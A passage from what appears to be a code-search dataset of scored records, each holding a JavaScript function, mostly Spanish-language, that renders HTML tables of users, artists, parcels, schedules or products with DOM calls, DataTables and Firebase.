fila = document.createElement(\"tr\");\r\n\r\n var celda = document.createElement(\"th\");\r\n var textoCelda = document.createTextNode(\"\");\r\n celda.appendChild(textoCelda);\r\n celda.setAttribute(\"colspan\",4);\r\n fila.appendChild(celda); \r\n\r\n tblBody.appendChild(fila);\r\n\r\n var fila = document.createElement(\"tr\");\r\n\r\n var celda = document.createElement(\"th\");\r\n var textoCelda = document.createTextNode(\"ID\");\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda); \r\n \r\n var celda = document.createElement(\"td\");\r\n var textoCelda = document.createTextNode(usuarios[idUsuarioActual].idUsuario);\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda); \r\n\r\n var celda = document.createElement(\"th\");\r\n var textoCelda = document.createTextNode(\"Correo Electronico\");\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda); \r\n \r\n var celda = document.createElement(\"td\");\r\n var textoCelda = document.createTextNode(usuarios[idUsuarioActual].correoElectronico);\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda); \r\n\r\n tblBody.appendChild(fila);\r\n\r\n // segunda fila\r\n\r\n var fila = document.createElement(\"tr\");\r\n\r\n var celda = document.createElement(\"th\");\r\n var textoCelda = document.createTextNode(\"Tipo Cuenta\");\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda); \r\n \r\n var celda = document.createElement(\"td\");\r\n var textoCelda = document.createTextNode(usuarios[idUsuarioActual].tipo);\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda); \r\n\r\n var celda = document.createElement(\"th\");\r\n var textoCelda = document.createTextNode(\"Fecha Creacion\");\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda); \r\n \r\n var celda = document.createElement(\"td\");\r\n var textoCelda = document.createTextNode(usuarios[idUsuarioActual].fechaCreacion);\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda); \r\n\r\n tblBody.appendChild(fila);\r\n\r\n // tercera fila\r\n\r\n var fila = document.createElement(\"tr\");\r\n\r\n var celda = document.createElement(\"th\");\r\n var textoCelda = document.createTextNode(\"Nombre\");\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda); \r\n \r\n var celda = document.createElement(\"td\");\r\n var textoCelda = document.createTextNode(usuarios[idUsuarioActual].nombre);\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda); \r\n\r\n var celda = document.createElement(\"th\");\r\n var textoCelda = document.createTextNode(\"Fecha Nacimiento\");\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda); \r\n \r\n var celda = document.createElement(\"td\");\r\n var textoCelda = document.createTextNode(usuarios[idUsuarioActual].fechaNacimiento);\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda); \r\n\r\n tblBody.appendChild(fila);\r\n\r\n // cuarta fila\r\n\r\n var fila = document.createElement(\"tr\");\r\n\r\n var celda = document.createElement(\"th\");\r\n var textoCelda = document.createTextNode(\"Cedula\");\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda); \r\n \r\n var celda = document.createElement(\"td\");\r\n var textoCelda = document.createTextNode(usuarios[idUsuarioActual].cedula);\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda); \r\n\r\n var celda = document.createElement(\"th\");\r\n var textoCelda = document.createTextNode(\"Edad\");\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda); \r\n \r\n var celda = document.createElement(\"td\");\r\n var textoCelda = document.createTextNode(usuarios[idUsuarioActual].edad);\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda); \r\n\r\n tblBody.appendChild(fila);\r\n\r\n // quinta fila\r\n\r\n var fila = document.createElement(\"tr\");\r\n\r\n var celda = document.createElement(\"th\");\r\n var textoCelda = document.createTextNode(\"Carrera o Departamento\");\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda); \r\n \r\n var celda = document.createElement(\"td\");\r\n var textoCelda = document.createTextNode(usuarios[idUsuarioActual].carreraDepartamento);\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda); \r\n\r\n var celda = document.createElement(\"th\");\r\n var textoCelda = document.createTextNode(\"Sexo\");\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda); \r\n \r\n var celda = document.createElement(\"td\");\r\n var textoCelda = document.createTextNode(usuarios[idUsuarioActual].documentosAdmision.formularioAdmision.sexo);\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda); \r\n\r\n tblBody.appendChild(fila);\r\n\r\n // sexta fila\r\n\r\n var fila = document.createElement(\"tr\");\r\n\r\n var celda = document.createElement(\"th\");\r\n var textoCelda = document.createTextNode(\"Pais Nacimiento\");\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda); \r\n \r\n var celda = document.createElement(\"td\");\r\n var textoCelda = document.createTextNode(usuarios[idUsuarioActual].documentosAdmision.formularioAdmision.paisNacimiento);\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda); \r\n\r\n var celda = document.createElement(\"th\");\r\n var textoCelda = document.createTextNode(\"Ciudad Nacimiento\");\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda); \r\n \r\n var celda = document.createElement(\"td\");\r\n var textoCelda = document.createTextNode(usuarios[idUsuarioActual].documentosAdmision.formularioAdmision.ciudadNacimiento);\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda); \r\n\r\n tblBody.appendChild(fila);\r\n\r\n // septima fila\r\n\r\n var fila = document.createElement(\"tr\");\r\n\r\n var celda = document.createElement(\"th\");\r\n var textoCelda = document.createTextNode(\"Calle Numero\");\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda); \r\n \r\n var celda = document.createElement(\"td\");\r\n var textoCelda = document.createTextNode(usuarios[idUsuarioActual].documentosAdmision.formularioAdmision.calleNumero);\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda); \r\n\r\n var celda = document.createElement(\"th\");\r\n var textoCelda = document.createTextNode(\"Barrio o Sector\");\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda); \r\n \r\n var celda = document.createElement(\"td\");\r\n var textoCelda = document.createTextNode(usuarios[idUsuarioActual].documentosAdmision.formularioAdmision.barrioSector);\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda); \r\n\r\n tblBody.appendChild(fila);\r\n\r\n // octava fila\r\n\r\n var fila = document.createElement(\"tr\");\r\n\r\n var celda = document.createElement(\"th\");\r\n var textoCelda = document.createTextNode(\"Ciudad\");\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda); \r\n \r\n var celda = document.createElement(\"td\");\r\n var textoCelda = document.createTextNode(usuarios[idUsuarioActual].documentosAdmision.formularioAdmision.ciudad);\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda); \r\n\r\n var celda = document.createElement(\"th\");\r\n var textoCelda = document.createTextNode(\"Pais Residencia\");\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda); \r\n \r\n var celda = document.createElement(\"td\");\r\n var textoCelda = document.createTextNode(usuarios[idUsuarioActual].documentosAdmision.formularioAdmision.paisResidencia);\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda); \r\n\r\n tblBody.appendChild(fila);\r\n\r\n // novena fila\r\n\r\n var fila = document.createElement(\"tr\");\r\n\r\n var celda = document.createElement(\"th\");\r\n var textoCelda = document.createTextNode(\"Telefono Contacto\");\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda); \r\n \r\n var celda = document.createElement(\"td\");\r\n var textoCelda = document.createTextNode(usuarios[idUsuarioActual].documentosAdmision.formularioAdmision.telefonoContacto);\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda); \r\n\r\n var celda = document.createElement(\"th\");\r\n var textoCelda = document.createTextNode(\"Facebook\");\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda); \r\n \r\n var celda = document.createElement(\"td\");\r\n var textoCelda = document.createTextNode(usuarios[idUsuarioActual].documentosAdmision.formularioAdmision.facebook);\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda); \r\n\r\n tblBody.appendChild(fila);\r\n\r\n // decima fila\r\n\r\n var fila = document.createElement(\"tr\");\r\n\r\n var celda = document.createElement(\"th\");\r\n var textoCelda = document.createTextNode(\"Lugar de Trabajo\");\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda); \r\n \r\n var celda = document.createElement(\"td\");\r\n var textoCelda = document.createTextNode(usuarios[idUsuarioActual].documentosAdmision.formularioAdmision.lugarTrabajo);\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda); \r\n\r\n var celda = document.createElement(\"th\");\r\n var textoCelda = document.createTextNode(\"Cargo Trabajo\");\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda); \r\n \r\n var celda = document.createElement(\"td\");\r\n var textoCelda = document.createTextNode(usuarios[idUsuarioActual].documentosAdmision.formularioAdmision.cargoTrabajo);\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda); \r\n\r\n tblBody.appendChild(fila);\r\n\r\n // onceava fila\r\n\r\n var fila = document.createElement(\"tr\");\r\n\r\n var celda = document.createElement(\"th\");\r\n var textoCelda = document.createTextNode(\"Telefono Trabajo\");\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda); \r\n \r\n var celda = document.createElement(\"td\");\r\n var textoCelda = document.createTextNode(usuarios[idUsuarioActual].documentosAdmision.formularioAdmision.telefonoTrabajo);\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda); \r\n\r\n var celda = document.createElement(\"th\");\r\n var textoCelda = document.createTextNode(\"Extension Trabajo\");\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda); \r\n \r\n var celda = document.createElement(\"td\");\r\n var textoCelda = document.createTextNode(usuarios[idUsuarioActual].documentosAdmision.formularioAdmision.extensionTrabajo);\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda); \r\n\r\n tblBody.appendChild(fila);\r\n\r\n // doceava fila\r\n\r\n var fila = document.createElement(\"tr\");\r\n\r\n var celda = document.createElement(\"th\");\r\n var textoCelda = document.createTextNode(\"Año Ingreso\");\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda); \r\n \r\n var celda = document.createElement(\"td\");\r\n var textoCelda = document.createTextNode(usuarios[idUsuarioActual].documentosAdmision.formularioAdmision.añoIngreso);\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda); \r\n\r\n var celda = document.createElement(\"th\");\r\n var textoCelda = document.createTextNode(\"Cuatrimestre Ingreso\");\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda); \r\n \r\n var celda = document.createElement(\"td\");\r\n var textoCelda = document.createTextNode(usuarios[idUsuarioActual].documentosAdmision.formularioAdmision.cuatrimestreIngreso);\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda); \r\n\r\n tblBody.appendChild(fila);\r\n\r\n // decimotercera fila\r\n\r\n var fila = document.createElement(\"tr\");\r\n\r\n var celda = document.createElement(\"th\");\r\n var textoCelda = document.createTextNode(\"Centro Educativo Procedencia\");\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda); \r\n \r\n var celda = document.createElement(\"td\");\r\n var textoCelda = document.createTextNode(usuarios[idUsuarioActual].documentosAdmision.formularioAdmision.centroEducativoProcedencia);\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda); \r\n\r\n var celda = document.createElement(\"th\");\r\n var textoCelda = document.createTextNode(\"Fecha Solicitud Admision\");\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda); \r\n \r\n var celda = document.createElement(\"td\");\r\n var textoCelda = document.createTextNode(usuarios[idUsuarioActual].documentosAdmision.formularioAdmision.fechaSolicitud);\r\n celda.appendChild(textoCelda);\r\n fila.appendChild(celda); \r\n\r\n tblBody.appendChild(fila); \r\n\r\n var fila = document.createElement(\"tr\");\r\n\r\n var celda = document.createElement(\"th\");\r\n var textoCelda = document.createTextNode(\"\");\r\n celda.appendChild(textoCelda);\r\n celda.setAttribute(\"colspan\",4);\r\n fila.appendChild(celda); \r\n\r\n tblBody.appendChild(fila);\r\n \r\n \r\n tbl.appendChild(tblBody);\r\n}", "title": "" }, { "docid": "cf518a96fb0696768a78ff8e8bc9d514", "score": "0.570464", "text": "function dibujar_tabla_artistas_busqueda(resultados) {\n //SI EXISTEN RESULTADOS DIBUJAR LA TABLA DENTRO DEL CONTENEDOR DE RESULTADOS\n if(resultados.length){\n let table = document.createElement('table');\n let tableBody = document.createElement('tbody');\n table.appendChild(tableBody);\n //RECORRER LOS ARTISTAS\n for(let i=-1; i<resultados.length; i++){\n let tr = document.createElement('tr');\n tr.style.height=\"50%\";\n tableBody.appendChild(tr);\n //EN EL INDICE -1 DIBUJAR EL ENCABEZADO DE LA TABLA\n if(i==-1){\n for (let j=0; j<5; j++) {\n var td = document.createElement('td');\n let contenido_celda = document.createElement('div');\n if(j==0){\n contenido_celda.innerHTML=\"Reproducir\";\n }\n else if(j==1){\n contenido_celda.innerHTML=\"Artista\";\n }\n else if (j==2){\n contenido_celda.innerHTML=\"Albumes\";\n }\n else if(j==3){\n contenido_celda.innerHTML=\"Seguir artista\";\n }\n else if(j==4){\n contenido_celda.innerHTML=\"Visualizar\";\n }\n td.appendChild(contenido_celda);\n tr.appendChild(td);\n }\n }else{\n for (let j=0; j<5; j++) {\n var td = document.createElement('td');\n let contenido_celda = document.createElement('div');\n if(j==0){\n contenido_celda.innerHTML=`<button><img src='../assets/icons/reproducir.svg' class='icono-boton'></button>`;\n contenido_celda.addEventListener('click',()=>{\n reproducir_artista(resultados[i]);\n });\n }\n else if(j==1){\n contenido_celda.innerHTML=resultados[i].nombre;\n }\n else if (j==2){\n contenido_celda.innerHTML=resultados[i].albumes.length;\n }\n else if(j==3){\n contenido_celda.innerHTML=`<button><img src='../assets/icons/add.svg' class='icono-boton'></button>`\n contenido_celda.addEventListener('click',()=>{\n seguir_artista(resultados[i]._id);\n });\n }\n else if(j==4){\n contenido_celda.innerHTML=`<button data-bs-toggle=\"modal\" data-bs-target=\"#modal-visualizar-artista\"><img src='../assets/icons/visualizar.svg' class='icono-boton'></button>`\n contenido_celda.addEventListener('click',()=>{\n //AL PULSAR EL BOTON VISUALIZAR ARTISTA, SE ABRE EL MODAL Y SE DIBUJA EL CONTENIDO REFERENTE A ESTE\n dibujar_contenido_visualizar_artista(resultados, i);\n });\n }\n td.appendChild(contenido_celda);\n tr.appendChild(td);\n }\n }\n }\n contenedor_resultados.appendChild(table);\n\n }else{\n let h3 = document.createElement(\"h3\");\n h3.textContent=\"No se encontraron coincidencias.\";\n contenedor_resultados.appendChild(h3);\n }\n}", "title": "" }, { "docid": "3dbedf62431e5a88e341cb074c874fb8", "score": "0.5702709", "text": "function recogerDatos(){\n\t//Metemos los datos de la unidad en una array bidimensional\n\tfor(i=0; i<indice.length; i++){\n\n\t $unidad.push([]);\n\t $unidad[i].push(indice[i].tema, indice[i].subtema);\t\n }\n\n}", "title": "" }, { "docid": "0702176b78d1348f18fcdcd970b3249d", "score": "0.5701095", "text": "function cargarTabla() {\n var datos = [];\n $.ajax({\n async: false,\n type: 'POST',\n url: 'WSLinPro.asmx/LlenaTablaDE',\n dataType: 'json',\n contentType: 'application/json; charset=utf-8',\n beforeSend: function () {\n $('#loadingMod').modal({\n backdrop: 'static',\n keyboard: false\n });\n },\n success: function (response) {\n $('#loadingMod').modal('hide');\n $.each(response, function (row, index) {\n \n $.each(index.ListaRegistros, function (r, arr) {\n datos.push([arr.nombre, arr.fechaRegistro.substring(0, 10), arr.DatosFiscales.RFC, arr.DatosFiscales.RazonSocial, arr.DatosFiscales.TipoPersona.TipoPersona, arr.idGiro, arr.DatosFiscales.TipoPersona.IdTipoPersona, arr.DatosFiscales.Estado.idEstado, arr.DatosFiscales.C_CP, arr.DatosFiscales.Calle, arr.DatosFiscales.NumeroExterior, arr.DatosFiscales.NumeroInterior, arr.idEmpresa]);\n });\n });\n }\n });\n otable.clear();\n otable.rows.add(datos);\n otable.draw();\n}", "title": "" }, { "docid": "174f1887906b1702e651729c6597b1e1", "score": "0.5693934", "text": "function mostrar_todos() {\n tablaRec1 = $('#tblListadoRec1').dataTable({\n \"lengthMenu\": [5, 10, 25, 75, 100], //mostramos el menú de registros a revisar\n \"aProcessing\": true, /* activa el procesamiento de DataTables */\n \"aServerSide\": true, /* Paginación y filtrado realizado por el servidor */\n dom: '<Bl<f>rtip>', //Definimos los elementos del control de tablaRec1\n buttons: [\n 'copyHtml5',\n 'excelHtml5',\n 'csvHtml5',\n 'pdf'\n ],\n \"ajax\": {\n url: '../ajax/baseManagementC.php?action=selectAll',\n type: \"get\",\n dataType: \"json\",\n error: function (e) {\n console.log(e.responseText);\n }\n },\n \"language\": {\n \"lengthMenu\": \"Mostrar : _MENU_ registros\",\n \"buttons\": {\n \"copyTitle\": \"tablaRec1 Copiada\",\n \"copySuccess\": {\n _: '%d líneas copiadas',\n 1: '1 línea copiada'\n }\n }\n },\n \"bDestroy\": true,\n \"iDisplayLength\": 10, /* paginación */\n \"order\": [[0, \"asc\"]]\n }).DataTable();\n}", "title": "" }, { "docid": "16b6385f755e5b4a9bdf68ddf3ba4f0f", "score": "0.5692623", "text": "function listar() {\n\n $('#txtSearch').on('input', function () {\n tabla.search($('#txtSearch').val()).draw();\n });\n\n tabla = $('#tbllistado').dataTable({\n \"aProcessing\": true, //Activamos el procesamiento del datatables\n \"aServerSide\": true, //Paginación y filtrado realizados por el servidor\n dom: 'rtip', //Definimos los elementos del control de tabla\n \"language\": {\n \"url\": \"../public/css/Spanish.json\"\n },\n buttons: [\n 'copyHtml5',\n 'excelHtml5',\n 'csvHtml5',\n 'pdf'\n ],\n \"ajax\": {\n url: '../ajax/categoria.php?op=listar',\n type: \"get\",\n dataType: \"json\",\n error: function (e) {\n console.log(e.responseText);\n }\n },\n \"bDestroy\": true,\n \"iDisplayLength\": 5, //Paginación\n \"order\": [\n [0, \"desc\"]\n ] //Ordenar (columna,orden)\n }).DataTable();\n}", "title": "" }, { "docid": "f2e24c0f4ab2dda8ca6dd9b84e188083", "score": "0.568141", "text": "function entete_tableau(lin)\n{\n\t$(\"#cor_tab\").append('<thead><tr id=\"top\"></tr></thead>');\n\t \n\tfor (var i = 0; i<lin.length; i++) \n\t{\n\t\tif (typeof(T_PAGINE[i])=='undefined') {\n\t\t\t$(\"#top\").append('<th OnClick=\"CLIC_Sort_Col('+i+')\">'+lin[i]+'</th>');\n\t\t} else {\n\t\t\tif (T_PAGINE[i][0]==0); \n\t\t\tif (T_PAGINE[i][0]==1) $(\"#top\").append('<th OnClick=\"CLIC_Sort_Col('+i+')\">'+lin[i]+'</th>');\n\t\t}\n\t}\n}", "title": "" }, { "docid": "87d29a35df346bc43cfd395fbf72ca04", "score": "0.5679463", "text": "function crear_agenda () {\n const container = document.getElementById('agenda')\n const tablas = document.getElementsByTagName('table')\n let num\n\n if (tablas.length > 0) {\n /* Obtenemos el id de la última tabla */\n let tabla_id = tablas[tablas.length - 1].getAttribute('id')\n /* Descomponemos el id de \"agenda-\" + número, y le añadimos uno para seguir con la numeración */\n num = parseInt(tabla_id.substr(7)) + 1\n } else {\n /* Si no hay ninguna agenda creada, la numeración empieza de 1 */\n num = 1\n }\n\n let tabla = document.createElement('table')\n tabla.setAttribute('id', `agenda-${num}`)\n tabla.setAttribute('class', 'table')\n tabla.setAttribute('style', `display:none;`)\n\n let encabezado = document.createElement('thead')\n let fila_enc = document.createElement('tr')\n\n let hora_enc = document.createElement('th')\n hora_enc.innerText = 'Hora'\n\n let reserva_enc = document.createElement('th')\n reserva_enc.innerText = '# Reserva'\n\n let acciones_enc = document.createElement('th')\n acciones_enc.innerText = 'Acciones'\n\n let cuerpo = document.createElement('tbody')\n\n /* Configuramos el horario de inicio de la agenda y la cantidad de horas que se atenderá */\n let apertura = 12\n let horas_jornada = 11\n\n /* Creamos las n filas de la tabla por cada hora de jornada, con 3 columnas antes indicadas */\n for (let j = 0; j < horas_jornada; j++) {\n let fila_cuerpo = document.createElement('tr')\n fila_cuerpo.setAttribute(\n 'onClick',\n `seleccionar_reserva(${num}, ${apertura + j})`\n )\n\n let hora_fila = document.createElement('th')\n hora_fila.innerText = `${apertura + j}:00 - ${apertura + j + 1}:00`\n\n let id_agenda_estado = `agenda-${num}--estado-${apertura + j}`\n let estado_fila = document.createElement('th')\n estado_fila.setAttribute('id', id_agenda_estado)\n estado_fila.setAttribute('class', 'libre-fuente')\n estado_fila.innerText = 'Libre'\n\n let botones_fila = document.createElement('th')\n botones_fila.setAttribute('class', 'edit-buttons')\n\n let btn_orden = document.createElement('button')\n btn_orden.classList.add('blue')\n btn_orden.setAttribute('type', 'button')\n btn_orden.setAttribute('onClick', `orden_reserva('${id_agenda_estado}')`)\n btn_orden.innerText = 'Orden'\n\n let btn_editar = document.createElement('button')\n btn_editar.classList.add('green')\n btn_editar.setAttribute('type', 'button')\n btn_editar.setAttribute('onClick', `editar_reserva('${id_agenda_estado}')`)\n btn_editar.innerText = 'Editar'\n\n let btn_borrar = document.createElement('button')\n btn_borrar.classList.add('red')\n btn_borrar.setAttribute('type', 'button')\n btn_borrar.setAttribute('onClick', `borrar_reserva('${id_agenda_estado}')`)\n btn_borrar.innerText = 'Borrar'\n\n botones_fila.appendChild(btn_orden)\n botones_fila.appendChild(btn_editar)\n botones_fila.appendChild(btn_borrar)\n\n /* Creamos un elemento personalizado que no se mostrará en el navegador, con la información del cliente */\n let cliente = document.createElement('cliente')\n cliente.setAttribute('id', `cliente-${num}-${apertura + j}`)\n cliente.setAttribute('codigo', '')\n cliente.setAttribute('nombre', '')\n cliente.setAttribute('celular', '')\n cliente.setAttribute('cantidad', '')\n\n fila_cuerpo.appendChild(hora_fila)\n fila_cuerpo.appendChild(estado_fila)\n fila_cuerpo.appendChild(botones_fila)\n fila_cuerpo.appendChild(cliente)\n\n cuerpo.appendChild(fila_cuerpo)\n }\n\n fila_enc.appendChild(hora_enc)\n fila_enc.appendChild(reserva_enc)\n fila_enc.appendChild(acciones_enc)\n encabezado.appendChild(fila_enc)\n\n tabla.appendChild(encabezado)\n tabla.appendChild(cuerpo)\n\n container.appendChild(tabla)\n}", "title": "" }, { "docid": "ec87b9414933dac5f8b9c81ace5f673c", "score": "0.5674726", "text": "function mostrarListaPaquetesNo(){\n\n\tvaciarTablas(document.querySelector(\"#verPaquetesNoEntregados\"));\n \tdocument.querySelector(\"#verPaquetesNoEntregados\").style.display=\"block\";\n\n \tvar labelTitulo = document.createElement(\"label\");\n \tlabelTitulo.setAttribute(\"class\", \"titulo\");\n \tlabelTitulo.textContent=\"Listado paquetes no entregados\";\n\n \tdocument.querySelector(\"#verPaquetesNoEntregados\").appendChild(labelTitulo);\n\n var lista = oPaqueteria.cogerTodosLosPaquetes();\n \n var oTabla = document.createElement(\"table\");\n\n oTabla.setAttribute(\"class\", \"table table-striped table-responsive\");\n\n var oThead = oTabla.createTHead();\n var oFila = oThead.insertRow(-1);\n var oCelda = oFila.insertCell(-1);\n oCelda.textContent = \"ID\";\n\n oCelda = oFila.insertCell(-1);\n oCelda.textContent = \"Tarifa\";\n\n oCelda = oFila.insertCell(-1);\n oCelda.textContent = \"Fecha de entrega\";\n\n oCelda = oFila.insertCell(-1);\n oCelda.textContent = \"Volumen\";\n\n oCelda = oFila.insertCell(-1);\n oCelda.textContent = \"Peso\";\n\n\toCelda = oFila.insertCell(-1);\n oCelda.textContent = \"Valor\";\n\n\n\toCelda = oFila.insertCell(-1);\n oCelda.textContent = \"Urgente\";\n\n\n\toCelda = oFila.insertCell(-1);\n oCelda.textContent = \"Administración pública\";\n\n\n\toCelda = oFila.insertCell(-1);\n oCelda.textContent = \"Internacional\";\n\n\n\toCelda = oFila.insertCell(-1);\n oCelda.textContent = \"Asegurado\";\n\n\n var oTBody = oTabla.createTBody();\n\n var oPaquetes = oXML.getElementsByTagName(\"paquete\");\n\n for (var i = 0; i < oPaquetes.length; i++) {\n \tvar entregado = oPaquetes[i].getElementsByTagName(\"entregado\")[0].textContent;\n\n \tif(entregado == \"No\")\n \t{\n \t\toFila = oTBody.insertRow(-1);\n\t\t\toCelda = oFila.insertCell(-1);\n\t\t\toCelda.textContent = oPaquetes[i].getElementsByTagName(\"idPaquete\")[0].textContent;\n\n\t\t\n\t\t\toCelda = oFila.insertCell(-1);\n\t\t\toCelda.textContent = oPaquetes[i].getElementsByTagName(\"Tarifa\")[0].textContent;\n\n\t\t\toCelda = oFila.insertCell(-1);\n\t\t\toCelda.textContent = oPaquetes[i].getElementsByTagName(\"fechaEntrega\")[0].textContent;\n\n\t\t\toCelda = oFila.insertCell(-1);\n\t\t\toCelda.textContent = oPaquetes[i].getElementsByTagName(\"volumen\")[0].textContent;\n\n\t\t\toCelda = oFila.insertCell(-1);\n\t\t\toCelda.textContent = oPaquetes[i].getElementsByTagName(\"peso\")[0].textContent;\n\n\t\t\toCelda = oFila.insertCell(-1);\n\t\t\toCelda.textContent = oPaquetes[i].getElementsByTagName(\"valor\")[0].textContent;\n\n\t\t\toCelda = oFila.insertCell(-1);\n\t\t\toCelda.textContent = oPaquetes[i].getElementsByTagName(\"urgente\")[0].textContent;\n\n\t\t\toCelda = oFila.insertCell(-1);\n\t\t\toCelda.textContent = oPaquetes[i].getElementsByTagName(\"adminPublica\")[0].textContent;\n\n\t\t\toCelda = oFila.insertCell(-1);\n\t\t\toCelda.textContent = oPaquetes[i].getElementsByTagName(\"internacional\")[0].textContent;\n\n\t\t\toCelda = oFila.insertCell(-1);\n\t\t\toCelda.textContent = oPaquetes[i].getElementsByTagName(\"asegurado\")[0].textContent;\n \t}\n }\n\n for (i = 0; i < lista.length; i++) {\n \n var entregado = lista[i].sEntregado;\n\n if(entregado == \"No\")\n {\n \tif(lista[i].sActivo == true)\n \t\t{\n\t\t oFila = oTBody.insertRow(-1);\n\t\t \n\t\t oCelda = oFila.insertCell(-1);\n\t\t oCelda.appendChild(document.createTextNode(lista[i].idPaquete));\n\t\t oCelda = oFila.insertCell(-1);\n\t\t oCelda.appendChild(document.createTextNode(lista[i].doTarifa));\n\t\t\t\toCelda = oFila.insertCell(-1);\n\t\t oCelda.appendChild(document.createTextNode(lista[i].dFechaEntrega));\n\t\t oCelda = oFila.insertCell(-1);\n\t\t oCelda.appendChild(document.createTextNode(lista[i].doVolumen));\n\t\t oCelda = oFila.insertCell(-1);\n\t\t oCelda.appendChild(document.createTextNode(lista[i].doPeso));\n\t\t oCelda = oFila.insertCell(-1);\n\t\t oCelda.appendChild(document.createTextNode(lista[i].doValor));\n\t\t\t\toCelda = oFila.insertCell(-1);\n\t\t oCelda.appendChild(document.createTextNode(lista[i].sUrgente));\n\t\t oCelda = oFila.insertCell(-1);\n\t\t oCelda.appendChild(document.createTextNode(lista[i].sAdminPublica));\n\t\t oCelda = oFila.insertCell(-1);\n\t\t oCelda.appendChild(document.createTextNode(lista[i].sInternacional));\n\t\t oCelda = oFila.insertCell(-1);\n\t\t oCelda.appendChild(document.createTextNode(lista[i].sAsegurado));\n\t \t}\n }\n }\n document.querySelector(\"#verPaquetesNoEntregados\").appendChild(oTabla);\n}", "title": "" }, { "docid": "52b2f7f0c49d36189796058c2a253b36", "score": "0.5672811", "text": "function luca2createTableFromList(lista) {\n\n var contenitore = document.getElementById(\"lucacontenitore2\")\n\n var nuovatabella = document.createElement('table')\n nuovatabella.setAttribute('id', 'lucatab2')\n contenitore.append(nuovatabella)\n\n var thead = document.createElement('thead')\n thead.setAttribute('id', 'lucathead')\n nuovatabella.append(thead)\n\n for (var key in lista[0]) {\n var th = document.createElement('th')\n th.setAttribute('id', 'lucath')\n th.innerHTML = key\n thead.append(th)\n }\n\n var tbody = document.createElement('tbody')\n tbody.setAttribute('id', 'lucatbody')\n nuovatabella.append(tbody)\n\n for (var key of lista) {\n var tr = document.createElement('tr')\n tr.setAttribute('id', 'lucatr')\n tbody.append(tr)\n\n for (var persone in key) {\n var td = document.createElement('td')\n td.setAttribute('id', 'lucatd')\n td.innerHTML = key[persone]\n tr.append(td)\n }\n }\n}", "title": "" }, { "docid": "a4cb6841597ec6fea63cdf7945611201", "score": "0.56718785", "text": "function Mostrar(){\n //declaramos una variable para el numero de filas\n var i =0;\n //seleciono el tbody de la tabla donde voy a guardar\n tbody=document.querySelector(\"#tbRegistro tbody\");\n tbody.innerHTML=\"\";\n //se selecciona la tabla\n var db=database.ref().child(\"registro\");\n db.once(\"value\",function (snapshot){\n if(snapshot.exists()){\n //capturando los valores\n snapshot.forEach(function(data){\n var cod=data.key;\n var nom=data.val().nombre;\n var ape=data.val().apellido;\n var cor=data.val().correo;\n //mostrando los valores de la tabla\n var fila=tbody.insertRow(i);\n //declaramos variables para los titulos\n var titulonombre=fila.insertCell(0);\n var tituloapellido=fila.insertCell(1);\n var titulocorreo=fila.insertCell(2);\n var tituloact=fila.insertCell(3);\n var titulocor=fila.insertCell(4);\n //agregamos valores\n titulonombre.innerHTML=nom;\n tituloapellido.innerHTML=ape;\n titulocorreo.innerHTML=cor;\n tituloact.innerHTML =\"<a href='#' onclick=Buscar('\" + cod + \"')>Seleccionar</a>\";\n titulocor.innerHTML = \"<a href='#' onclick=Eliminar('\" + cod + \"')>Seleccionar</a>\";\n tbody.appendChild(fila);\n i++;\n });\n }\n });\n}", "title": "" }, { "docid": "c1e001e8a19ecaecf64f13136789b749", "score": "0.5666556", "text": "function preencheDados() {\n\n}", "title": "" }, { "docid": "e921a8d5c0736c8b3d53202bfb79d98c", "score": "0.56663656", "text": "function MostrarProducto(){\n //declaramos una viable para guardar los datos\n var listaproducto=Mostrar();\n //selecciono el tbody de la tabla donde voy a mostrar la informacion\n var tbody=document.querySelector(\"#tbProducto tbody\");\n tbody.innerHTML=\"\";\n //agregamos al tbody las filas que se registren\n for(var 